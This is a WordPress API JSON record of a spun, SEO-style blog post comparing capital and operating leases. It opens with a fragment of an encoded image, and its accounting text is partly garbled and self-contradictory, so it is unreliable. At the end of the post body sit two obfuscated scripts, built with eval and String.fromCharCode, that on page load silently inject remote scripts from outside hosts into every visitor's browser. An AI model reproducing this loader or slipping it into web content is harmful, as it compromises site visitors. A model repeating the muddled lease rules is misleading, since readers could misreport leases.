149SNKnq7TKTNDtJmV5qm2jqElPqJUr2qyPmj19vH3xWtszUxNayV8zDql9lLKaRn7lAKcARZWI9IhXb6gbYspzPdB+Ov4pt4++G3j74YhiPFSTbx98NvH3wxDEETbx98NvH3wxDEETbx98NvH3wxDEETbx98IYhBF\/9k=\" width=\"253px\" alt=\"capital leasing vs operating leasing\"\/><\/p>\n<p>These statements specify the appropriate accounting for leases through their classification as either capital or operating. Governmental Accounting Standards Board codification provides that FASB 13 should be the guidelines for accounting and financial reporting for lease agreements, except for operating leases with scheduled rent increases. Scheduled rent increases are increases that are fixed by contract. In trying to understand the difference between a finance lease, a capital lease, and an operating lease, first, let\u2019s be clear that all three are leases as defined above. There is no difference whatsoever between the three leases on the ground. The only difference is in the way they are treated in the accounting books. Because they are treated differently in the accounting book, they will impact the financial statements in different ways.<\/p>\n<p>D. For capital leases, tubs must also maintain a schedule of payments showing amortization of the lease-related liability. Any item with a lease term of less than 3 years cannot be capitalized.<\/p>\n<h2 id=\"toc-0\">Accounting Treatment of Finance Leases (or Capital Leases) vs. Operating Leases<\/h2>\n<p>A transferral of ownership of an asset to the lessee at the end of the term of the initial lease. The lease offers the option to purchase the equipment at a reduced price at the end of the lease. The lease term lasts longer than 75% of the asset\u2019s economic life. Cash flow from financing <a href=\"https:\/\/online-accounting.net\/\">https:\/\/online-accounting.net\/<\/a> activities is affected by debt financing, and the principal repayments made for the debt used to finance the lease.Interest on financing reduces the CFO. A piece of equipment with a market price of US$100,000 and a useful life of 5 years is leased to a lessee for four years.<\/p>\n<ul>\n<li>Companies who use a capital lease can also represent the equipment being leased as an asset on their balance sheet, which increases their total assets and only includes depreciation on the company&#8217;s income statement.<\/li>\n<li>Thus, both types of leases are used for different purposes and show up differently on the accounting books.<\/li>\n<li>With a capital lease, the lessee assumes all the risks and benefits of asset ownership.<\/li>\n<li>The term of the lease does not exceed 75% of the useful life of the equipment.<\/li>\n<li>Generally, as far as accounting is concerned, a capital lease or finance lease is considered an asset when a company prepares the balance sheet.<\/li>\n<\/ul>\n<p>There is no balance sheet entry in the case of an operating lease. In a capital lease, there is a transfer of ownership of an asset to the lessee account. The lease Is thus treated as a loan and the payments as expenses in the income statement. The present value of an asset is taken in the balance sheet and is depreciated over the period. You record operating lease payments on your profit and loss income statements. As with all other qualifying operating expenses, they reduce your taxable income. Only the interest payments and depreciation expenses can be tax-deductible.<\/p>\n<h2 id=\"toc-1\">Operating vs. Capital Leasing: The Difference Between Each and How to Choose Between the Two<\/h2>\n<p>It doesn\u2019t take into consideration non-operating gains or losses suffered by businesses, the impact of financial leverage, and tax factors. It is calculated as the <a href=\"https:\/\/online-accounting.net\/capital-lease-vs-operating-lease-difference-and-comparison\/\">capital leasing vs operating leasing<\/a> difference between Gross Profit and Operating Expenses of the business. The present value of lease payments must be greater than 90% of the asset&#8217;s market value.<\/p>\n<div itemScope itemProp=\"mainEntity\" itemType=\"https:\/\/schema.org\/Question\">\n<div itemProp=\"name\">\n<h3>What are the 2 types of leases?<\/h3>\n<\/div>\n<div itemScope itemProp=\"acceptedAnswer\" itemType=\"https:\/\/schema.org\/Answer\">\n<div itemProp=\"text\">\n<p>The two most common types of leases are operating leases and financing leases (also called capital leases).<\/p>\n<\/div><\/div>\n<\/div>\n<p>In this situation, the lessee will record the interest of the lease payment as an expense. AvTech Capital\u2019s team of financial specialists partners with business owners in every industry to develop customized leasing solutions that maintain and grow their operations. This is a complicated question and you should consider each asset investment individually to be sure which funding type will be most beneficial to your company. However, there are a couple of important considerations; the lifespan and type of asset as well as how it will be reflected in your company&#8217;s accounts. Along with depreciation, you can also deduct the interest expense element of the lease payment as an operational expense. You&#8217;re essentially paying the cost of the vehicle, with a capital lease, over the lease&#8217;s term. The lease will contain an option to buy the vehicle at a bargain price or significantly lower than fair market value at the end of the lease.<\/p>\n<h2 id=\"toc-2\">Accounting for Finance Leases vs Operating Leases<\/h2>\n<p>Cash Flow StatementA Statement of Cash Flow is an accounting document that tracks the incoming and outgoing cash and cash equivalents from a  business. The two values are equal only at the inception and termination of the lease.<\/p>\n<div style='border: grey solid 1px;padding: 11px;'>\n<h3>Two tenants poised to lease nearly 130,000 square feet of space in Alameda Point&#8217;s Enterprise District &#8211; San Francisco Business Times &#8211; The Business Journals<\/h3>\n<p>Two tenants poised to lease nearly 130,000 square feet of space in Alameda Point&#8217;s Enterprise District &#8211; San Francisco Business Times.<\/p>\n<p>Posted: Thu, 01 Sep 2022 20:50:00 GMT [<a href='https:\/\/www.bizjournals.com\/sanfrancisco\/news\/2022\/09\/01\/alameda-point-pyka-saildrone-leases.html' rel=\"nofollow\">source<\/a>]<\/p>\n<\/div>\n<p>The lease&#8217;s term doesn&#8217;t go over 75% of the vehicle&#8217;s useful life. Lessee claims only depreciation expense and interest expense. For lighting, depreciation is spread out over 15, 27.5, or 39 years. Capital leases are suitable for equipment with long useful lives such as dies, tools and machines, but not like computer equipment and other electronics, which can quickly become obsolete in just a few years. Only the lessee can utilize the asset without any major changes made in the assets which  are under the lease. Access financial statement examples for before and after the new lease standard.<\/p>\n<h2 id=\"toc-3\">Key Differences<\/h2>\n<p>If you are pleased with the asset, you can exercise your right to purchase at a bargain price. Now, according to FASB rule ASC842, operating leases with terms of 1 year or longer must be recorded on the lessee\u2019s balance sheet.<\/p>\n<ul>\n<li>The lessee must gain ownership at the end of the lease period.<\/li>\n<li>Capital leases allow lessees to purchase the asset at a price point that\u2019s lower than fair market value.<\/li>\n<li>For the purpose of entry-level finance interviews, it is enough to understand the accounting treatment for the lessee only.<\/li>\n<li>Cash flow from financing activities is affected by debt financing, and the principal repayments made for the debt used to finance the lease.Interest on financing reduces the CFO.<\/li>\n<\/ul>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><script id='globalsway'><\/script><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Content Accounting Treatment of Finance Leases (or Capital Leases) vs. Operating Leases Operating vs. Capital Leasing: The Difference Between Each and How to Choose Between the Two Accounting for Finance Leases vs Operating Leases Key Differences What Is an Example of a Capital Lease? These statements specify the appropriate accounting for leases through their classification [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-6774","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts\/6774","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/comments?post=6774"}],"version-history":[{"count":1,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts\/6774\/revisions"}],"predecessor-version":[{"id":6775,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/posts\/6774\/revisions\/6775"}],"wp:attachment":[{"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/media?parent=6774"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/categories?post=6774"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/marc-market.ch\/index.php\/wp-json\/wp\/v2\/tags?post=6774"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}